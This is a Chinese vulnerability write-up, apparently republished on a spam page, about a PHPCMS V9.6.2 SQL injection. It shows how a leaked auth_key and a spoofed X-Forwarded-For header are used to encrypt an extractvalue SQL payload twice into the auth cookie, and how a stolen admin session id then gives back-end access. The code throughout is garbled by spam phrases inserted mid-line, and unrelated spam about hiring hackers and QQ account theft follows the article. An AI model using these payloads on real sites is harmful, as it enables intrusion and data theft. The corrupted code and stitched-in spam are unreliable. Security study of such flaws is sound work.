*** 网能够寻找黑客吗-【技术性共享】PHPCMS V9.6.2 SQL注入漏洞分析
根据这篇文章的分析:http://bobao.360.cn/learning/detail/3805.html ,详尽叙述了PHPCMS V9.6.1文档载入漏洞的开启诱因,当发觉网址是phpcms而且取得成功运用随意文档载入漏洞载入时安装文件时是不是能够开展下一步的运用,在phpcms的关键文档/caches/configs/system.php中储存了phpcms整站的数据加密密匙与全局性的配备主要参数:
本人记录查询黑客qq群 1
2
'cookie_pre' => 'qErKa_', //Cookie 作为前缀,同一网站域名下安裝好几套系统软件时,请改动Cookie作为前缀
本人记录查询黑客qq群 'auth_key' => 'U6KnzDrhf6ZQ5Yt7izr0', //密匙
运用这一密匙能够对 phpcms传送的数据信息加解密,应用SkyWolf在PHPcms 9.6.2中发掘来到一枚相互配合密匙运用的SQL注入漏洞,下列是详尽全过程与分析。
Skywolf
SykWolf详细介绍
什么叫SkyWolf?SkyWolf是一款自动化技术灰盒审计系统,说白了灰盒财务审计,在平时对cms的代码审计中能够了解为白盒融合白盒的安全性测试,以PHP拓展方式载入,根据环境污染传送的方式环境污染程序流程全部实行流本人记录查询黑客qq群程,并对程序执行步骤开展安全系数分析。
Skywolf控制面板详细地址:
https://5kee.360.cn/skywolf/
根据浏览网址插口skywolf会积极的分析正中间启用逻辑性,来列举出异常的漏洞
报警解决:展现Skywolf发觉业务流程早已开启的漏洞告警信息,点进来见到详尽的漏洞本人记录查询黑客qq群信息内容:
可疑问:服务器端数据库查询实行的异常句子
启用栈:程序流程在实行这一次要求之中所启用的涵数与编码文档物理学途径、在文档中的个数。
SQL注入漏洞分析
当浏览到phpcms的member插口:
1
phpcmsv961_1/index.php?m=member
skywolf传出了有关报警:
详尽分析以下:
在vip前台接待管理处插口的承继父类foreground:
/phpcms/modules/member/index.php 本人记录查询黑客qq群 LINE 11
1
2
3
4
5
6
本人记录查询黑客qq群 class index extends foreground {
private $times_db;
function __construct() {
本人记录查询黑客qq群 parent::__construct();
$this->http_user_agent = $_SERVER['HTTP_USER_AGENT'];
本人记录查询黑客qq群 }
这儿承继了foreground,跟进去:
/phpcms/modules/member/classes/foreground.class.php line 19-38:
1
2
3
4个人记录查询黑客qq群
5
6
7
8
9
10
11
12
13
本人记录查询黑客qq群 14
15
16
17
18
19
20
21
/**
本人记录查询黑客qq群 * 分辨客户是不是早已登录
*/
final public function check_member() {
本人记录查询黑客qq群 $phpcms_auth = param::get_cookie('auth');
本人记录查询黑客qq群 if(ROUTE_M =='member' && ROUTE_C =='index' && in_array(ROUTE_A, array('login', 'register', 'mini','send_newmail'))) {
本人记录查询黑客qq群 if ($phpcms_auth && ROUTE_A != 'mini') {
showmessage(本人记录查询黑客qq群L('login_success', '', 'member'), 'index.php?m=member&c=index');
} else {
本人记录查询黑客qq群 return true;
}
本人记录查询黑客qq群 } else {
//分辨是不是存有auth cookie
&本人记录查询黑客qq群nbsp; if ($phpcms_auth) {
$auth_key = $auth_key = get_auth_key('login');
本人记录查询黑客qq群 list($userid, $password) = explode(本人记录查询黑客qq群"\ ", sys_auth($phpcms_auth, 'DECODE', $auth_key));
& nbsp; //验证用户,获取用户信息
个人信息查询黑客qq群 $this->memberinfo = $this->db->get_one(array('userid'=>$userid)); //注入点在这
个人信息查询黑客qq群 if($this->memberinfo['islock']) exit('<h1>Bad Request!</h1>');
个人信息查询黑客qq群 //获取用户模型信息
$this-个人信息查询黑客qq群>db->set_model($this->memberinfo['modelid']);
首先看到这里是验证前台会员用户是否登录,验证 *** 是解析客户端的cookie_pre_auth参数:
1
个人信息查询黑客qq群 $phpcms_auth = param::get_cookie('auth’);
跟到get_cookie函数:
/phpcms/libs/classes/param.class.php LINE 107-116
1
2
3
4
个人信息查询黑客qq群 5
6
7
8
9
10
11
12
13
14
15
个人信息查询黑客qq群16
/**
* 获取通过 set_cookie 设置的 cookie 变量
&个人信息查询黑客qq群nbsp; * @param string $var 变量名
* @param string $default 默认值
个人信息查询黑客qq群 * @return mixed 成功则返回cookie 值,否则返回 false
*/
public static function get_cookie($var, $default = '') {
个人信息查询黑客qq群 $var = pc_base::load_config('system','cookie_pre').$var;
个人信息查询黑客qq群 $value = isset($_COOKIE[$var]) ? sys_auth($_COOKIE[$var], 'DECODE') : $default;
if(in_array($var,array('_userid','userid','siteid','_groupid','_roleid'))) {
个人信息查询黑客qq群 $value = intval($value);
个人信息查询黑客qq群 } elseif(in_array($var,array('_username','username','_nickname','admin_username','sys_lang'))) { // site_model auth
个人信息查询黑客qq群 $value = safe_replace($value);
}
return $value;
个人信息查询黑客qq群 }
首先读取system.php(网站全局配置./caches/configs/system.php)中的配置参数cookie_pre,也就是网站默认随机分配的cookie前缀,然后再读取到客户端cookie中的cookie_pre_auth值放入sys_auth中个人信息查询黑客qq群解密,那么客户端的cookie_pre_auth应该是经过加密处理后的,有了这些信息后get_cookie先放到这里往下走到get_auth_key:
1
2
3
4
$auth_key =&个人信息查询黑客qq群nbsp;$auth_key = get_auth_key('login');
list($userid, $password) = explode("\t", sys_auth($phpcms_auth, 'DECODE', $auth_key));
个人信息查询黑客qq群 //验证用户,获取用户信息
个人信息查询黑客qq群 $this->memberinfo = $this->db->get_one(array('userid'=>$userid));
这里咱们看到DECODE用到的key是$auth_key,而$auth_key又是通过get_auth_key('login’)获得的,再跟进get_auth_key:
./phpcms/libs/functions/global.func.php 个人信息查询黑客qq群 LINE 1601-1611:
1
2
3个人信息查询黑客qq群
4
5
6
7
8
9
10
11
12
13
个人信息查询黑客qq群14
15
16
/**
* 生成验证key
* @param $prefix 参数
个人信息查询黑客qq群 * @param $suffix 参数
*/
function get_auth_key($prefix,$suffix="") {
if($prefix=='login'){
个人信息查询黑客qq群 $pc_auth_key = md5(pc_base::load_config('system','auth_key').ip());
}else if($prefix=='email'){
个人信息查询黑客qq群 $pc_auth_key = md5(pc_base::load_config('system','auth_key'));
}else{
个人信息查询黑客qq群 $pc_auth_key = md5(pc_base::load_config('system','auth_key').$suffix);
}
$authkey = md5($prefix.$pc_auth_key);
个人信息查询黑客qq群 return $authkey;
}
可以看到这个$prefix即是外部传入的login,满足$prefix==‘login’后开始拼接客户端ip地址再对值进行md5加密,发现ip()是可以伪个人信息查询黑客qq群造的:
1
2
3
4
5
6
7
8
9
个人信息查询黑客qq群 10
11
12
function ip() {
if(getenv('HTTP_CLIENT_IP') && strcasecmp(getenv(个人信息查询黑客qq群'HTTP_CLIENT_IP'), 'unknown')) {
$ip = getenv('HTTP_CLIENT_IP');
个人信息查询黑客qq群 } elseif(getenv('HTTP_X_FORWARDED_FOR') && strcasecmp(getenv('HTTP_X_FORWARDED_FOR'), 'unknown')) {
$ip = getenv('HTTP_X_FORWARDED_个人信息查询黑客qq群FOR');
} elseif(getenv('REMOTE_ADDR') && strcasecmp(getenv('REMOTE_ADDR'), 'unknown')) {
个人信息查询黑客qq群 $ip = getenv('REMOTE_ADDR');
} elseif(isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp(个人信息查询黑客qq群$_SERVER['REMOTE_ADDR'], 'unknown')) {
$ip = $_SERVER['REMOTE_ADDR'];
}
个人信息查询黑客qq群 return preg_match ( '/[\d\.]{7,15}/', $ip, $matches ) ? $matches [0] : '';
}
最后得到的md5值就是sys_auth($phpcms_auth, 个人信息查询黑客qq群 'DECODE', $auth_key)的解密key了,这样来分析的话payload就是经过了两次加密,完全无视任何第三方防御。
加密流程:
漏洞利用
利用方式就简单了:
通过任个人信息查询黑客qq群意文件读取获取到全局配置文件的auth_key值:
首先执行get_auth_key加密,在代码中输出$authkey = md5($prefix.$pc_auth_key)的值:
1
2
个人信息查询黑客qq群 3
4
5
6
7
8
9
10
11
12
1个人信息查询黑客qq群3
function get_auth_key($prefix,$suffix="") {
if($prefix=='login'){
个人信息查询黑客qq群 $pc_auth_key = md5(pc_base::load_config('system','auth_key').ip());
}else if($prefix=='email'){
&个人信息查询黑客qq群nbsp;$pc_auth_key = md5(pc_base::load_config('system','auth_key'));
}else{
$pc_auth_key = md5(pc_base::load_config('system','auth_key').$suffix);
个人信息查询黑客qq群 }
$authkey = md5($prefix.$pc_auth_key);
个人信息查询黑客qq群 echo $authkey;
exit();
return $authkey;
}
方便测试,IP参数伪造为X-Forwarded-For: 个人信息查询黑客qq群 123.59.214.3,输出了$authkey后直接exit了:
1
e58cb4eb9cc211f7b0fc070d428438de
然后把phpcms关键的加解密函数sys_auth单独写到某个php文件里面:
sys_auth_key.php:
个人信息查询黑客qq群 1
2
3
4
5
6
7
8
个人信息查询黑客qq群 9
10
11
12
13
14
15
16
17
18
个人信息查询黑客qq群 19
20
21
22
23
24
25
26
27
28
个人信息查询黑客qq群 29
30
31
32
33
34
35
36
37
38
个人信息查询黑客qq群 39
40
41
42
43
44
45
46
47
48
4950
51
52
53
54
55
<?php
/**
个人信息查询黑客qq群 * 字符串加密、解密函数
*
*
* @param string $txt 字符串
个人信息查询黑客qq群 * @param string $operation ENCODE为加密,DECODE为解密,可选参数,默认为ENCODE,
* @param string 个人信息查询黑客qq群 $key 密钥:数字、字母、下划线
* @param string $expiry 个人信息查询黑客qq群过期时间
* @return string
*/
function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0) {
个人信息查询黑客qq群 $ckey_length = 4;
$key = md5($key != '' ? $key : '');
$keya = md5(substr($key, 0, 16));$keyb = md5(substr($key, 16, 16));
个人信息查询黑客qq群 $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
个人信息查询黑客qq群$cryptkey = $keya.md5($keya.$keyc);
$key_length = strlen($cryptkey);
个人信息查询黑客qq群 $string = $operation == 'DECODE' ? base64_decode(strtr(substr($string, $ckey_length), '-_', '+/')) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
个人信息查询黑客qq群 $string_length = strlen($string);
$result = '';
个人信息查询黑客qq群 $box = range(0, 255);
$rndkey = array();
个人信息查询黑客qq群 for($i = 0; $i <= 255; $i++) {
$rndkey[$i] = ord($cryptkey[$i % $key_length]);
个人信息查询黑客qq群 }
for($j = $i = 0; $i < 256; $i++) {
$j =个人信息查询黑客qq群 ($j + $box[$i] + $rndkey[$i]) % 256;
$tmp = $box[$i];
个人信息查询黑客qq群 $box[$i] = $box[$j];
$box[$j] = $tmp;
}
&个人信息查询黑客qq群nbsp; for($a = $j = $i = 0; $i < $string_length; $i++) {
$a = ($a + 个人信息查询黑客qq群1) % 256;
$j = ($j + $box[$a]) % 256;
$tmp = $box[$a];
个人信息查询黑客qq群 $box[$a] = $box[$j];
$box[$j] = $tmp;
$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));}个人信息查询黑客qq群
if($operation == 'DECODE') {
个人信息查询黑客qq群 if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
个人信息查询黑客qq群 return substr($result, 26);
} else {
个人信息查询黑客qq群 return '';
}
} else {
个人信息查询黑客qq群 return $keyc.rtrim(strtr(base64_encode($result), '+/', '-_'), '=');
}
个人信息查询黑客qq群 }
$sql = $_GET['sql'];
$key = $_GET['key'];
echo sys_auth($sql,'ENCODE',$key);
?>
带入$authkey与sqli 个人信息查询黑客qq群 payload:
之一次加密:
1
http://127.0.0.1/dashboard/sys_auth_key.php?sql=1%27%20and%20%28extractvalue%281%2Cconcat%280x7e%2C%28select%20user%28%29%29%2C0x7e%29%29%29%个人信息查询黑客qq群3B%23%5Ctokee&key=e58cb4eb9cc211f7b0fc070d428438de
第二次加密:
1
2
http://127.0.0.1个人信息查询黑客qq群/dashboard/sys_auth_key.php?sql=b5a4XCOdNpHwEb7nT4CUVMjUkE_cO9B7umiy5--PEK9R094s0L-dvb0HVCB5RUf1SlGkbDbu7HS6lL0mgrx8CGHWjG3m01zuIiyM5dbJ6D0lXZoZZvjOpIXlwTx_30M&key=exbsh7iuTSQsEcwLBcnB
5cb5c0FCT6个人信息查询黑客qq群xz4xz7T1WONsQUFmoD3r0s8EkbTGyKIcnGDJsFO8g8fqAsJLu7_FuzHd *** syxf7RL1jzO0Lvpq_3bzvfxOB6RRNEr938TYOwW3-QrF4JevCrf8taCsSuwK1FN6hwWf2s1AQDoXc2RL6SlZ-YwM3msW7vafcw5Vmxq7cPp3NSap1SV7l5h8gdGbm0HxiI_AmC4OTrFf
然后带入到auth中里面去访问member接口:
伪造session进入后台
众所周知,通过sql注入得到的phpcms的管理员密码是无法破解出来的,具体加密啊算法:
/phpcms/libs/functions/global.func.php 个人信息查询黑客qq群 LINE 1248
1
2
3
4
5
6
7
8
个人信息查询黑客qq群 9
10
11
12
/**
* 对用户的密码进行加密
* @param $password
* 个人信息查询黑客qq群@param $encrypt //传入加密串,在修改密码时做认证
* @return array/password
*/
function password($password, $encrypt='') {
&个人信息查询黑客qq群nbsp; $pwd = array();
$pwd['encrypt'] = $encrypt ? $encrypt : create_randomstr();
个人信息查询黑客qq群 $pwd['password'] = md5(md5(trim($password)).$pwd['encrypt']);
return $encrypt ? $pwd['password'] : $pwd;
}
简单来说就是把明文密码做md5加密再连接上encrypt值(encrypt是创建用户的时候随机分配的字符串),再做一次md5加密,这样就很难解密了。
然而phpcms一直存在一处问题就是管理员登陆后台会将服务端的session值保存在数据库中,通过注入可以获取到session值来伪造访问后台页面,具体配置在system.php中:
个人信息查询黑客qq群 1
2
3
4
5
6
7
8
9
10
1个人信息查询黑客qq群1
12
13
14
<?php
return array(
//网站路径
'web_path' => '/phpcmsv961/',
个人信息查询黑客qq群 //Session配置
'session_storage' => 'mysql',
'session_ttl' => 1800,
'session_savepath' => CACHE_PATH.'sessions/',
个人信息查询黑客qq群 'session_n' => 0,
//Cookie配置
'cookie_domain' => '', //Cookie 作用域
个人信息查询黑客qq群 'cookie_path' => '', //Cookie 作用路径
'cookie_pre' => 'qErKa_', //Cookie 前缀,同一域名下安装多套系统时,请修改Cookie前缀
个人信息查询黑客qq群 'cookie_ttl' => 0, //Cookie 生命周期,0 表示随浏览器进程
mysql存储方式,session有效期为30分钟。
/phpcms/libs/classes/session_mysql.class.php
1
2
3
4
个人信息查询黑客qq群 5
6
7
8
9
10
11
12
13
14
个人信息查询黑客qq群 15
16
17
18
19
20
/**
* 删除指定的session_id
*
* @param $id session
* @return bool
*/
public function destroy($id) {
个人信息查询黑客qq群 return $this->db->delete(array('sessionid'=>$id));
}
/**
* 删个人信息查询黑客qq群除过期的 session
*
* @param $maxlifetime 存活期时间
* @return bool
*/
个人信息查询黑客qq群 public function gc($maxlifetime) {
$expiretime = SYS_TIME - $maxlifetime;
&个人信息查询黑客qq群nbsp; return $this->db->delete("`lastvisit`<$expiretime");
}
}
只要触发了gc或destroy函数就会删除数据库中的session值,当管理员重新登陆后台个人信息查询黑客qq群后才重新生成session插入数据库中。
session数据库存放位置:
从mysql日志中分析可知:当管理员登陆后台会插入新的session到v9_session表中,每次后台操作都会进行这样的操作,使数据库中的sessionid保持最新,但是值不变。
在管理员登陆后台并且在未注销的前提下是可以通过获取管理员session值来伪造登陆的,限于篇幅,注入过程不再细说,这里直接上图:
得到sessionid,在得到这个参数后还需要一个值,就是pc_hash值,这个值在后台是个随机数,作者是想防止越权以及csrf而设计的,然而对于获取到了后台权限的我们只个人信息查询黑客qq群是一个摆设,下面直接提交数据包访问控制台首页:
修复方案
最新版本的phpcmsv9.6.3都已经修复了任意文件读取漏洞与sql注入点,可以下载最新版的补丁进行防护:
UTF8:
http://download.phpcms.cn/v9/9.0/patch/utf8/patch_20170503_20170515_UTF8.zip
gbk:
http://download.phpcms.cn/v9/9.0/patch/gbk/patch_20170503_20170515_GBK.zip
传送门
【漏洞分析】PHPCMS V9.6.1 任意文件读取漏洞分析(含PoC,已有补丁)
本文由 安全客 原创发布,个人信息查询黑客qq群如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3884.html
作者:0r3ak@0kee Team
华夏黑客联盟(我国之一个)黑客X档案(目前人气更高)红客基地(属于为国黑客)以上三种比较好,这是我个人观点!我觉得菜鸟更好去黑客X档案,因为。 *** 可以找到黑客吗
个人信息查询黑客qq群谁有黑客的qq群介绍个。操,还十大黑客,我就醉了中国貌似只有三个被公认的黑客,你说的是哪国的河北省呀1.ANONYMOUSAnonymous,匿名者,全球更大的政治性黑客组织,以对一些国家的 *** 网站,和企业网站实施攻击而出名。在巴黎恐怖袭击事件发生之后,Anonymous之一。
*** 可以找到黑客吗。买家拉黑不好控制,毕竟买家没有店铺支持 目前有卖家拉黑功能,不过聊天软件上可以彼此拉黑的如果是付款后拉黑买家(买家未对个人信息查询黑客qq群卖家言语辱骂等或争论导致不愉快),买家可以申请退款或者收货觉得还算满意,确认收货时对于服务给予差评;要注意的是如果卖家。
自己泄漏了苹果id和密码对方可以通过查找我的iPhone进行锁机的所以千万不要点击来历不明的邮件来套取你的苹果id和密码这是健康系统,为了防止孩子们沉迷游戏的,实名注册的身份证如果是没成年的那你一天只能玩一小时,要到第二天的八点后。
你说的应该是《战争游戏》吧大卫?莱特曼(马修?布罗德里克个人信息查询黑客qq群饰)是一位天才少年,他将业余时间全都投在了电脑游戏上。一天,他通过搜索,搜到。 *** 可以找到黑客吗
首先来回答您的问题所有编程初始都要学习代码中的语言,最基础的就是C语言,当你稍微了解C语言,可以尝试学一学当今就。
*** 可以找到黑客吗我会!这个垃圾公司一生黑,我要把他骂到死。当然,只是骂,不干犯法的事这个问题,要先正确的定义黑客的概念。真正的黑客通常本身就是 *** 安全专家,他们的入侵行为通常只是一些技术性的检测或个人信息查询黑客qq群是同行之间的切磋,并不会涉及到利益。
险些所有人城市以为社群是下个互联网的风口,然后一个紧接着一个往风口上凑,把握了许多社群的运营要领和手段,满怀等候地大展身手,可是在实际运营的进程中,发明存在着各类百般的问题,尤其是在贸易变现,缺乏着行...
盗取QQ业务。早期这类业务广告会出现在一些黑客类门户网站或论坛,后期这类广告已不单单是一个广告位,而是会单独制作一个承接此类业务的网站,通过“盗取QQ业务”衍生出来的还有盗取电子邮箱密码、盗取游戏...
看到标题,撸友们就知道,站长要讲干货了。为啥站长今天要写这个帖子?主要是网页抽奖活动让很多撸友着了魔,一直问站长龙瞎怎么获得,有的撸友甚至还要到某宝去买CDK,花四五千的冤枉钱。站长实在看不下去了。...
一直以来,欧洲人不把俄罗斯当欧洲国家看,亚洲人不把俄罗斯当亚洲国家看,搞得俄罗斯仁很尴尬。但通常认为,俄罗斯属于欧洲国家,俄罗斯人自己怎么认为? 俄罗斯是世界上最庞大的国家,光陆地面积就有1707万...
一、为什么不用java黑客接单流程 1、接单求联系方式微信黑客大多数真正的黑客认为他们是一个不负责任的懒惰的人。为什么不用java怎么防止入侵微信4个论坛的签名营销可以使用图片或文本,除了阿里巴巴之外...
在小米手机5C新品发布会上,小米手机公布小米手机移动电话卡宣布公布,宣布涉足虚拟运营商,称为用互联网营销做虚拟运营商。今天早上十点,小米移动“任我行”手机卡,将在小米网放小号,能够随意选择号。 “任...